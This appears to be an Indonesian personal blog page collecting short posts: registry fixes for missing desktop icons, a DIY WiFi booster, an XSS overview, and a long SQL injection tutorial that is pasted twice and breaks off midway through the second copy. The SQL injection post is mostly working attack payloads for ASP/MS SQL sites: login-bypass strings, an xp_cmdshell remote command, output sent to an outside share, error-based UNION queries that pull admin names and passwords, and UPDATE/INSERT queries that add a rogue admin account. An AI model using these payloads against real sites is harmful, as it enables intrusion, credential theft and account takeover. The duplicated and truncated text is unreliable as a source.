Custom Search

Selasa, 03 April 2012

Kembalikan Icon desktop yang hilang

icon desktop hilang dan tidak bisa klik kanan pada desktop biasanya disebabkan karena virus yang menyerang komputer kita। Bagaimana mengatasinya? tentu saja dengan mengapus virus itu sendiri. setelah bersih baru anda lakukan trick ini untuk memunculkan desktop anda.

Masalah pertama Tidak bisa klik kanan pada desktop

Masuk ke run caranya klik start dan pilih run kemudian ketikan regedit dan enter
Masuk ke HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer


Cari menu NoViewContextMenu jika valuenya 1 doubel klik dan ganti menjadi 0
Tutup jendela registri dan logoff atau restart komputer.

Masalah kedua Icon desktop tidak ada yang tampil
Cara mengatasinya sangat mudah cukup Klik kanan pada desktop pilih Arange icon by dan klik Show desktop icon lihat gambar
Mudah bukan? selamat mencoba

Baca lebih Lengkap.. print this page 

Minggu, 01 April 2012

penguat sinyal wifi sederhana


adalah Cara paling SEDERHANA untuk menguatkan atau membuat sinyal modem wifi anda menjadi lebih kuat!!
untuk membuat penguat sinyal wifi sederhana bahan dan modal yang digunakan tidaklah terlalu sulit apalagi mahal,, yang diperlukan untuk membuatnya hanyalah kaleng minuman bekas ,, sangat Murah Bukan ^_^
untuk membuatnya Simak cara-caranya berikut ini...










Membuat Penguat Sinyal Modem Wifi Sederhana

Sekarang Alat Penguat Sinyal Wifi Anda sudah jadi tinggal arahkan ke bagian mana yang akan memperoleh sinyal wifi lebih kuat


Selamat mencoba, Semoga Bermanfaat

Baca lebih Lengkap.. print this page 

Kamis, 08 Desember 2011

cross site scripting XSS

XSS merupakan kependekan yang digunakan untuk istilah cross site scripting.

XSS merupakan salah satu jenis serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukkan kode HTML atau client script code lainnya ke suatu situs. Serangan ini akan seolah-olah datang dari situs tersebut. Akibat serangan ini antara lain penyerang dapat mem-bypass keamanan di sisi klien, mendapatkan informasi sensitif, atau menyimpan aplikasi berbahaya.

Alasan kependekan yang digunakan XSS bukan CSS karena CSS sudah digunakan untuk cascade style sheet. Berikut ini ada contoh script sederhana bagaimana bug ini bisa terjadi. Buat file cari.php yang berisi kode berikut :

Code :



Hasilnya Adalah :

Jadi penjelasan kode diatas adalah ketika kita menginputkan nilai apa aja maka aksi/langkah berikutnya adalah menuju hasil.php.
Sekarang bandingkan dengan hasil.php yang berisi kode berikut.

Code:

Nah penjelasan kode diatas adalah ketika kita menginput sesuatu di cari.php maka variabel yang terdapat pada textbox yang bernama cari akan diambil / ditangkap oleh hasil.php lalu akan ditampilkan nilai $cari. Maka hasilnya adalah :



kemudian hasil yang ditampilkan:



Ketika kita menginput dengan menambahkan tag-tag html maka hasilnya adalah



kemudian hasil yang ditampilkan setelah disisipi oleh tag html



Untuk mengetahui cara kerja XSS injection dapat dilihat pada gambar berikut.



Hampir sama dengan SQL injection, XSS injection juga bekerja melalui form masukan. Namun tidak seperti SQL injection, XSS injection ini bertujuan untuk mengelabui client lain yang membuka halaman yang sama dengan halaman yang sudah dijelajahi oleh penyerang dengan mengambil keuntungan misalnya mendapatkan cookie korban. Cookie bertujuan agar pengguna dapat membuka jendela baru tanpa memasukkan user name dan password lagi.

Elemen penting dari keberhasilan XSS injection adalah social engineering yang baik dari penyerang. Social engineering yang dimaksud adalah bagaimana penyerang membujuk calon korban untuk mengikuti sebuah link yang di dalamnya mengandung kode “jahat” untuk memperoleh informasi penting yang dimiliki oleh calon korban contohnya cookie.

Untuk Antisipasi

Pencegahan Cross site scripting sebenarnya merupakan bagian dari proses perancangan sistem yang akan diluncurkan oleh penyedia data. Jika sistem tersebut menggunakan teknologi dynamic web page, berbagai pertimbangan perlu dilakukan.

1. Teknologi Static Web Pages
Cara terbaik dan efektif untuk menghindari terjadinya Cross site scripting adalah menghindari penggunaan teknologi dynamic web page. Halaman yang statis tentu saja memberikan kontrol yang lebih di sisi server dibandingkan dengan halaman web yang dinamis. Halaman web yang dihasilkan secara statis akan memberikan kelakukan yang lebih pasti dibandingkan halaman web yang dihasilkan secara dinamis. Konsekuensi yang ditanggung adalah penyedia layanan harus merelakan sifat interaktif yang mungkin diinginkan.

2. Metode POST

Metode POST adalah metode pengirimana data di mana variabel yang dikirimkan tidak disertakan pada link yang digunakan. Metode POST menyembunyikan variabel yang dikirimkan dari pengguna. Metode ini menjamin kode tidak dapat diinjeksikan melalui link yang telah didesain oleh penyerang. Link merupakan satu satunya cara yang dapat digunakan oleh penyerang untuk mengeksploitasi cross site scripting. Oleh karena itu, metode ini ampuh untuk mengatasi cross site scripting. Kekurangan metode ini, pengguna tidak dapat menyimpan link favorit untuk mempermudah navigasi

3. Pengkodean Karakter Spesial pada Link

Untuk men-non aktifkan kode script yang diinjeksikan, kita perlu membuat aplikasi yang mampu mengkodekan karakter tersebut, sehingga karakter tersebut tidak dapat dimengerti oleh browser yang digunakan. Proses pengkodean juga harus mencakup HTML escape code (%hexnumber).

Pemfilteran ini biasanya dilakukan dengan menghilangkan karakter karakter spesial yang penting dalam pengkodean dan juga karakter karakter ekuivalen yang dikodekan. Pengkodean yang biasa digunakan adalah HTML escape

encoding. Tabel di bawah ini menunjukkan karakter tersebut dengan ekuivalen karakter yang telah dikodekan.



4. Hilangkan kemampuan Scripting

Cross site scripting disebabkan keberhasilan penyerang menginjeksi kode pada halaman web yang dihasilkan. Jika kode yang diinjeksikan tersebut tidak dapat diinterpretasikan, halaman web dapat ditampilkan dengan aman. Kekurangan metode ini tentu saja kegagalan fungsi-fungsi yang ditulis dengan mengunakan script untuk bekerja.

5. HTTP-Only Cookie

Metode ini membatasi akses yang dapat dilakukan terhadap cookie. Dengan menggunakan HTTP-only cookie, browser pengguna masih dapat menerima cookie yang dikirimkan oleh penyedia layanan. Namun cookie tidak dapat diakses melalui script yang dieksekusi pada browser pengguna. Jadi script yang diinjeksikan kepada browser pengguna tidak akan dapat melakukan transfer cookie yang ada. Metode ini tersedia pada browser Internet Explorer 6 Service Pack 1. Untuk menggunakan metode, pada kepala HTTP response tambahkan atribut HttpOnly.

6. Ikuti Link Utama

Metode ini ditujukan bagi pengguna layanan yang menggunakan halaman web dinamis. Kebiasaan yang baik utuk mengikuti link yang berasal dari link utama yang disediakan oleh penyedia layanan. Link–link selain daripada link utama sebaiknya dihindari.

Baca lebih Lengkap.. print this page 

Rabu, 07 Desember 2011

Sql Injection

SQL Injection adalah sebuah teknik untuk mengeksporasi aplikasi web dengan

memanfaatkan suplai data dari client dalam sintak SQL. Banyak halaman web

memakai parameter dari web user untuk menggunakan query ke dalam database.

Kita ambil sebagai contoh ketika user akan login, halaman user akan mengirim user

dan login sebagai parameter untuk digunakan sebagai SQL dan mencek apakah user

dan password cocok. Dengan SQL Injection ini sangat mungkin untuk kita mengirim

user nama dan password dan dianggap benar.

Walaupun mudah untuk menandai dan melindungi model serangan ini, tapi cukup

mengherankan banyak aplikasi web yang terserang dengan metode ini. Pada

pembahasan selanjutnya dicontohkan ketika memakai web server IIS dan Microsoft

SQL Server untuk databasenya, sedangkan skrip yang dipakai adalah ASP.


Apa yang diperlukan

Untuk keperluan SQL Injection kita hanya membutuhkan browser. Browser yang

dipakai adalah segala macam browser.

Apa yang perlu di cari ?

Kita dapat memanfaatkan halaman-halaman web yang terdapat

submit data

, contoh:

halaman login, pencarian, feedback, dan lain-lain. Kadang halaman HTML

menggunakan metode POST untuk mengirim parameter ke halaman web yang lain.

Jika model halamnnya seperti ini maka kita harus melihat source code karena kita

tidak dapat melihat pada URL. Mudah untuk mencek source code halaman HTML,

tinggal klik kanan pilih view source (pada Internet Exlorer), kemudian cari kode

“FORM”. Berikut contoh halaman tersebut:

Semua yang terletak diantara

dan
mempunyai potensial untuk

digunakan mengekplorasi halaman web tersebut. Karena itu dapat menjadi sebuah

parameter. Halaman diatas berarti akan mengrimkan parameter bernama “login”

dengan nilai (value)=”Erwin”.

Bagaimana jika tidak bukan halaman input ?

Jika halaman bukan berbentuk form input, maka anda harus cari halaman yang di

buat dengan bahasa pemrograman internet seperti ASP, JSP, CGI or PHP, kemudian

cari spesial URL seperti http://www.Erwin.com/profile.asp?id=10. Ini berarti

halaman web ASP dengan parameter “id” yang bernilai “10”.

Bagaimana cara mengetes suatu halaman web mudah diserang?

Dimulai dari pengunaan single quote. Seperti masukan:

hi or 1=1--

Dalam login, password, atau URL lain.

Contoh:

- Login: hi' or 1=1--

- Pass: hi' or 1=1--

- http://www.Erwin.com/profil.asp?id=10id=hi' or 1=1--

Jika halaman dalam bentuk ada field yang bertipe hidden, anda tinggal download

kode HTML dari situs yang anda buka ke hard disk anda, di modifikasi sedikit


kemudian di simpan dalam hard disk dan modifikasi URL, seperi contoh berikut:

Skrip awal:

Setelah di modifikasi:

Jika anda beruntung maka dengan cara seperti itu anda dapat masuk ke halaman

web tanpa harus mengisikan login name dan password yang benar.

Kenapa Harus ‘ or 1=1--

Kita akan ekplorasi pentingnya 1=1 -- dan apakah memperoleh informasi yang tidak

normal (diberikan kepada user biasa) dari sebuah web site. Kita ambil halaman asp

yang di link ke halaman lain seperti URL berikut:

http://www.Erwin.com/barang.asp?category=food

Dalam URL diatas, “category” adalah nama variabel sedangkan “food” adalah nilai

yang diberikan pada variabel tersebut. Untuk dapat mengambil nilai dari variabel

diatas berikut code program pada file barang.asp.

v_cat = request("category")

sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"

set rs=conn.execute(sqlstr)

seperti kita lihat pada contoh diatas variabel kita bungkus dan diberi nama “v_cat”

dan SQL menjadi:

SELECT * FROM product WHERE PCategory='food'

Pada query diatas menghasilkan ini satu atau beberapa baris yang cocok untuk

kondisi dimana (WHERE) kondisinya adalah ‘food’.

Sekarang kita asumsikan URL diatas kita ganti menjadi seperti ini:

http://www.Erwin.com/barang.asp?category=food' or 1=1--


Sekarang variabel “v_cat” kita menjadi “foot’ or 1=1—, jika masukkan ke query maka:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Query diatas berarti menampilkan semua dari tabel product dengan “Pcategory”

sama dengan ‘food’ atau tidak. Sedangkan double dash “--“ menyatakan pada SQL

server untuk mengabaikan kesalahan query, yang akan membersihkan single quote

yang terakhir. Kadang kita dapat menggenti double quote dengan has tunggal “#”.

Jika cara diatas tidak dapat mennyebabkan SQL server mengabaikan kesalahan

query anda dapat mencoba.

' or 'a'='a

Sehingga query akan menjadi:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Itu seharusnya akan menghasilkan hasil yang sama.

Tergantung pada peraturan Query, dapat dicoba dengan beberapa alternatif yang

mungkin:

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

4.0 Bagaimana mengeksekusi jarak jauh dengan SQL Injection?

Melakukan perintah injeksi SQL berarti kita dapat mengeksekusi perintah SQL.

Secara default Microsoft SQL Server running sebagai SYSTEM, yang berarti sama

dengan Administrator mengakses Windows. Kita dapat menggunakan store

procedure seperti master..xp_cmdshell untuk melakukan remote exucution:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Dapat dicoba menggunakan double quote (") jika single quote (') tidak berjalan.

Semi colon digunakan untuk mengakhiri query, jadi setelah semicolon kita

membolehkan untuk memulai perintah SQL baru. Untuk menguji perintah diatas di

eksekusi dengan sukses, anda dapat memperoleh informasi dari paket ICMP dari

10.10.1.2, yang akan mencek setiap paket dari server.

#tcpdump icmp


Jika tidak mendapatkan perintah request ping dari server, dan pesan error yang

mengidikasikan kesalahan permission, ini juga berarti administrator membatasi akses

Web User untuk menakses store procedure tersebut.

Bagaimana memperoleh output dari SQL Query kita ?

Kita bisa menggunakan sp_makewebtask untuk menuliskan wuery dalam HTML.

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM

INFORMATION_SCHEMA.TABLES"

Dengan syarat target IP harus berupa folder “share” yang di sharing untuk semuanya

user.

Bagaimana memperoleh data dari pesan kesalahan database ?

Kita dapat menggunakan informasi pesan kesalahan yang di keluarkan oleh MS SQL

Server untuk mendapatkan sebagian data yang kita perlukan.

http://www.Erwin.com/barang.asp?id=10

Kita akan mencoba UNION integer ‘10’ dengan string dari database:

http://www.Erwin.com/barang.asp?id=10 UNION SELECT TOP 1 TABLE_NAME

FROM INFORMATION_SCHEMA.TABLES--

Tabel system INFORMATION_SCHEMA.TABLES berisi informasi semua tabel di

dalam server. Pada TABLE_NAME fieldnya berisi dengan jelas nama masing-masing

tabel dalam database. Itu kita pilih karena pasti ada dalam sebuah database dalam

SQL Server, query nya adalah:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

Query diatas akan mengembalikan tabel pertama dalam database. Ketika kita UNION

nilai string dengan integer 10, MS-SQL Server mencoba menkonversi string

(nvarchar) menjadi integer. Ini akan menghasilkan error, ketika kita tidak bisa

mengkonversi dari string (nvarchar) to int, server akan menampilkan pesan

kesalahan.

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value 'table1' to a column of data type int.

/barang.asp, line 5


Error ini bagus buat kita dan cukup untuk mengatakan pada kita ada nilai yang tidak

dapat di konversi menjadi integer. Dalam kasus ini, kita memperoleh tabel pertama di

dalam database, yang namanya “tabel1”.

Untuk dapat menampilkan nama tabel yang lain, kita dapat mengikuti query berikut:

http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME

FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN

('table1')--

Kita juga dapat mencari data mengunakan keyword LIKE.

http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME

FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE

'%25login%25'--

Hasil:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value 'admin_login' to a column of data type int.

/index.asp, line 5

Jika kita lihat syntax ini sama antara '%25login%25' dan %login% dalam SQL Server.

Dalam kasus ini, kita akan mendapatkan nama tabel pertama yang cocok untuk

criteria “admin_login”.

Bagaimana mendapatkan semua nama kolom dalam tabel ?

Kita dapat menggunakan kegunaan lain dari tabel

INFORMATION_SCHEMA.COLUMNS untuk memetakan nama kolom dalam sebuah

tabel dalam database.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Hasil:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value 'login_id' to a column of data type int.

/index.asp, line 5

Jika sekarang yang kita punya adalah colum nama pertama, kita dapat menggunakan

NOT IN () untuk mendapatkan nama kolom berikutnya.


http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1

COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE

TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Hasil:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value 'login_name' to a column of data type int.

/index.asp, line 5

Ketika kita meneruskan lebih lanjut, kita memperoleh sisa (rest) nama kolom yang

lain, seperti contoh: “password”, “detail”. Kita tahu ini ketika kita memperoleh pesan

kesalahan.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'

WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Hasil:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in

the select list if the statement contains a UNION operator.

/index.asp, line 5

Bagaimana mendapatkan kembali data yang kita perlukan ?

Sekarang kita sudah menidentifikasi beberapa tabel yang penting, dan nama

kolomnya, kita dapat menggunakan teknik yang sama untuk informasi lebih lanjut

yang kita inginkan dari database.

Sekarang, kita lihat login_name yang pertama dari tabel “admin_login”:

http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 login_name

FROM admin_login--

Hasil:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value 'neo' to a column of data type int.

/index.asp, line 5


Kita tahu ada admin user dengan login name “neo”. Akhirnya mendapatkan password

dari “neo” dari database.

http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 password

FROM admin_login where login_name='neo'--

Hasil:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value 'm4trix' to a column of data type int.

/index.asp, line 5

Sekarang kita dapat login sebagai “neo” dengan menggunakan password “m4trix”.

Bagaimana mendapatkan niilai numeric string ?

Ada batasan teknik untuk menerangkan hal diatas. Kita tidak dapat mendapatkan

pesan error jika kita mencoba menkonversi text yang terdiri dari valid number

(carakter antara 0-9 saja). Kita coba mendapatkan password dari “trinity” yang

“31173”.

http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 password

FROM admin_login where login_name='trinity'--

Kita mungkin akan mendapatkan sebuah halaman “Page Not Found” error. Ini karena

password “31173” akan di konversi menjadi number, sebelum UNION dengan integer

(10 dalam kasus ini). Selama statement UNION valid, SQL Sqerver tidak akan

melemparkan pesan kesalahan, dan kita tidak akan mendapatkan kembalian data

beberapa masukan numeric.

Untuk dapat memecahkan masalah ini, kita dapat menginputkan numeric string

dengan beberapa alphabet yang dipastikan gagal untuk di konversi. Kita coba query

berikut:

http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 convert(int,

password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

Kita dengan mudah menggunakan tanda (+) untuk memasukkan password dengan

suatu tek yang kita inginkan. Kode ASSCII untuk ‘+’ =0x2b. kita menambahkan

‘(space)morpheus’ dalam passeord yang sebenarnya. Oleh karena itu, selama kita

mempunyai numeric string ‘31173’, ini akan menjadi ’31173’ morpheus’. Dengan

memanggil function convert(), mencoba menkonversi ‘31173 mopheus’ menjadi

sebuah integer, SQL Server akan mengeluarkan pesan kesalahan:


Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value '31173 morpheus' to a column of data type int.

/index.asp, line 5

Sekarang, anda dapat login sebagai 'trinity' dengan password '31173'.

Bagaimana megupdate dan memasukkan data ke dalam database?

Ketka kita sukses mengetahui nama kolom dalam tabel, kita memungkinkan untuk

kita meng UPDATE atau melakukan INSERT record baru dalam tabel. Sebagai

contoh menganti password “neo”:

http://www.Erwin.com/index.asp?id=10; UPDATE 'admin_login' SET 'password'

= 'newpas5' WHERE login_name='neo'--

Untuk INSERT record baru ke dalam database:

http://www.Erwin.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id',

'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Kita dapat login sebagai “neo2” dengan password “newpas5”

Bagimana menghindari SQL Injection?

Langkah yang dapat di tempuh untuk mengurangi penyusupan ke halaman web

dengan SQL Injection dengan cara:

a. Memfilter dengan tidak membolehkan karakter seperti single quote, double

quote, slash, back slash, semi colon, extended character like NULL, carry return,

new line, etc, dalam string form:

- Masukan dari from users

- Parameters di URL

- Nilai dari cookie

b. Untuk nilai numeric, convert dulu sebelum melewati statement SQL dengan

mengunakan ISNUMERIC untuk meyakinkan itu adalah integer.

c. Mengubah "Startup and run SQL Server" menggunakan low privilege user

dalam SQL Server Security tab.

d. Ubah stored procedure – store procedure yang tidak terpakai, seperti:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask


Kesimpulan

SQL Injection dapat bekerja hanya dengan menggunakan Port 80. Fasilitas Web

Server yang digunakan untuk menampilkan pesan kesalahan dan stored procedure

default Microsoft SQL Server dapat di gunakan untuk mengekplorasi halaman web

dengan SQL Injection.

Untuk meminimalkan penyusupan ke server Web dan Server Database kita dapat

menghapus atau menonaktifkan service dan stored procedure yang tidak diperlukan.

Yang paling penting untuk menutup halaman web kita dengan dari serangan dengan

motode SQL Injection adalah Validasi input sebelum dikirim ke web server.

Daftar Referensi

http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

http://www.owasp.org/asac/input_validation/sql.shtml

http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6

http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6

http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

SQL Injection adalah sebuah teknik untuk mengeksporasi aplikasi web dengan

memanfaatkan suplai data dari client dalam sintak SQL. Banyak halaman web

memakai parameter dari web user untuk menggunakan query ke dalam database.

Kita ambil sebagai contoh ketika user akan login, halaman user akan mengirim user

dan login sebagai parameter untuk digunakan sebagai SQL dan mencek apakah user

dan password cocok. Dengan SQL Injection ini sangat mungkin untuk kita mengirim

user nama dan password dan dianggap benar.

Walaupun mudah untuk menandai dan melindungi model serangan ini, tapi cukup

mengherankan banyak aplikasi web yang terserang dengan metode ini. Pada

pembahasan selanjutnya dicontohkan ketika memakai web server IIS dan Microsoft

SQL Server untuk databasenya, sedangkan skrip yang dipakai adalah ASP.


Apa yang diperlukan

Untuk keperluan SQL Injection kita hanya membutuhkan browser. Browser yang

dipakai adalah segala macam browser.

Apa yang perlu di cari ?

Kita dapat memanfaatkan halaman-halaman web yang terdapat

submit data

, contoh:

halaman login, pencarian, feedback, dan lain-lain. Kadang halaman HTML

menggunakan metode POST untuk mengirim parameter ke halaman web yang lain.

Jika model halamnnya seperti ini maka kita harus melihat source code karena kita

tidak dapat melihat pada URL. Mudah untuk mencek source code halaman HTML,

tinggal klik kanan pilih view source (pada Internet Exlorer), kemudian cari kode

“FORM”. Berikut contoh halaman tersebut:

Semua yang terletak diantara

dan
mempunyai potensial untuk

digunakan mengekplorasi halaman web tersebut. Karena itu dapat menjadi sebuah

parameter. Halaman diatas berarti akan mengrimkan parameter bernama “login”

dengan nilai (value)=”Erwin”.

Bagaimana jika tidak bukan halaman input ?

Jika halaman bukan berbentuk form input, maka anda harus cari halaman yang di

buat dengan bahasa pemrograman internet seperti ASP, JSP, CGI or PHP, kemudian

cari spesial URL seperti http://www.Erwin.com/profile.asp?id=10. Ini berarti

halaman web ASP dengan parameter “id” yang bernilai “10”.

Bagaimana cara mengetes suatu halaman web mudah diserang?

Dimulai dari pengunaan single quote. Seperti masukan:

hi or 1=1--

Dalam login, password, atau URL lain.

Contoh:

- Login: hi' or 1=1--

- Pass: hi' or 1=1--

- http://www.Erwin.com/profil.asp?id=10id=hi' or 1=1--

Jika halaman dalam bentuk ada field yang bertipe hidden, anda tinggal download

kode HTML dari situs yang anda buka ke hard disk anda, di modifikasi sedikit


kemudian di simpan dalam hard disk dan modifikasi URL, seperi contoh berikut:

Skrip awal:

Setelah di modifikasi:

Jika anda beruntung maka dengan cara seperti itu anda dapat masuk ke halaman

web tanpa harus mengisikan login name dan password yang benar.

Kenapa Harus ‘ or 1=1--

Kita akan ekplorasi pentingnya 1=1 -- dan apakah memperoleh informasi yang tidak

normal (diberikan kepada user biasa) dari sebuah web site. Kita ambil halaman asp

yang di link ke halaman lain seperti URL berikut:

http://www.Erwin.com/barang.asp?category=food

Dalam URL diatas, “category” adalah nama variabel sedangkan “food” adalah nilai

yang diberikan pada variabel tersebut. Untuk dapat mengambil nilai dari variabel

diatas berikut code program pada file barang.asp.

v_cat = request("category")

sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"

set rs=conn.execute(sqlstr)

seperti kita lihat pada contoh diatas variabel kita bungkus dan diberi nama “v_cat”

dan SQL menjadi:

SELECT * FROM product WHERE PCategory='food'

Pada query diatas menghasilkan ini satu atau beberapa baris yang cocok untuk

kondisi dimana (WHERE) kondisinya adalah ‘food’.

Sekarang kita asumsikan URL diatas kita ganti menjadi seperti ini:

http://www.Erwin.com/barang.asp?category=food' or 1=1--


Sekarang variabel “v_cat” kita menjadi “foot’ or 1=1—, jika masukkan ke query maka:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Query diatas berarti menampilkan semua dari tabel product dengan “Pcategory”

sama dengan ‘food’ atau tidak. Sedangkan double dash “--“ menyatakan pada SQL

server untuk mengabaikan kesalahan query, yang akan membersihkan single quote

yang terakhir. Kadang kita dapat menggenti double quote dengan has tunggal “#”.

Jika cara diatas tidak dapat mennyebabkan SQL server mengabaikan kesalahan

query anda dapat mencoba.

' or 'a'='a

Sehingga query akan menjadi:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Itu seharusnya akan menghasilkan hasil yang sama.

Tergantung pada peraturan Query, dapat dicoba dengan beberapa alternatif yang

mungkin:

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

4.0 Bagaimana mengeksekusi jarak jauh dengan SQL Injection?

Melakukan perintah injeksi SQL berarti kita dapat mengeksekusi perintah SQL.

Secara default Microsoft SQL Server running sebagai SYSTEM, yang berarti sama

dengan Administrator mengakses Windows. Kita dapat menggunakan store

procedure seperti master..xp_cmdshell untuk melakukan remote exucution:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Dapat dicoba menggunakan double quote (") jika single quote (') tidak berjalan.

Semi colon digunakan untuk mengakhiri query, jadi setelah semicolon kita

membolehkan untuk memulai perintah SQL baru. Untuk menguji perintah diatas di

eksekusi dengan sukses, anda dapat memperoleh informasi dari paket ICMP dari

10.10.1.2, yang akan mencek setiap paket dari server.

#tcpdump icmp


Jika tidak mendapatkan perintah request ping dari server, dan pesan error yang

mengidikasikan kesalahan permission, ini juga berarti administrator membatasi akses

Web User untuk menakses store procedure tersebut.

Bagaimana memperoleh output dari SQL Query kita ?

Kita bisa menggunakan sp_makewebtask untuk menuliskan wuery dalam HTML.

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM

INFORMATION_SCHEMA.TABLES"

Dengan syarat target IP harus berupa folder “share” yang di sharing untuk semuanya

user.

Bagaimana memperoleh data dari pesan kesalahan database ?

Kita dapat menggunakan informasi pesan kesalahan yang di keluarkan oleh MS SQL

Server untuk mendapatkan sebagian data yang kita perlukan.

http://www.Erwin.com/barang.asp?id=10

Kita akan mencoba UNION integer ‘10’ dengan string dari database:

http://www.Erwin.com/barang.asp?id=10 UNION SELECT TOP 1 TABLE_NAME

FROM INFORMATION_SCHEMA.TABLES--

Tabel system INFORMATION_SCHEMA.TABLES berisi informasi semua tabel di

dalam server. Pada TABLE_NAME fieldnya berisi dengan jelas nama masing-masing

tabel dalam database. Itu kita pilih karena pasti ada dalam sebuah database dalam

SQL Server, query nya adalah:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

Query diatas akan mengembalikan tabel pertama dalam database. Ketika kita UNION

nilai string dengan integer 10, MS-SQL Server mencoba menkonversi string

(nvarchar) menjadi integer. Ini akan menghasilkan error, ketika kita tidak bisa

mengkonversi dari string (nvarchar) to int, server akan menampilkan pesan

kesalahan.

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value 'table1' to a column of data type int.

/barang.asp, line 5


Error ini bagus buat kita dan cukup untuk mengatakan pada kita ada nilai yang tidak

dapat di konversi menjadi integer. Dalam kasus ini, kita memperoleh tabel pertama di

dalam database, yang namanya “tabel1”.

Untuk dapat menampilkan nama tabel yang lain, kita dapat mengikuti query berikut:

http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME

FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN

('table1')--

Kita juga dapat mencari data mengunakan keyword LIKE.

http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME

FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE

'%25login%25'--

Hasil:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value 'admin_login' to a column of data type int.

/index.asp, line 5

Jika kita lihat syntax ini sama antara '%25login%25' dan %login% dalam SQL Server.

Dalam kasus ini, kita akan mendapatkan nama tabel pertama yang cocok untuk

criteria “admin_login”.

Bagaimana mendapatkan semua nama kolom dalam tabel ?

Kita dapat menggunakan kegunaan lain dari tabel

INFORMATION_SCHEMA.COLUMNS untuk memetakan nama kolom dalam sebuah

tabel dalam database.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Hasil:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value 'login_id' to a column of data type int.

/index.asp, line 5

Jika sekarang yang kita punya adalah colum nama pertama, kita dapat menggunakan

NOT IN () untuk mendapatkan nama kolom berikutnya.


http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1

COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE

TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Hasil:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value 'login_name' to a column of data type int.

/index.asp, line 5

Ketika kita meneruskan lebih lanjut, kita memperoleh sisa (rest) nama kolom yang

lain, seperti contoh: “password”, “detail”. Kita tahu ini ketika kita memperoleh pesan

kesalahan.

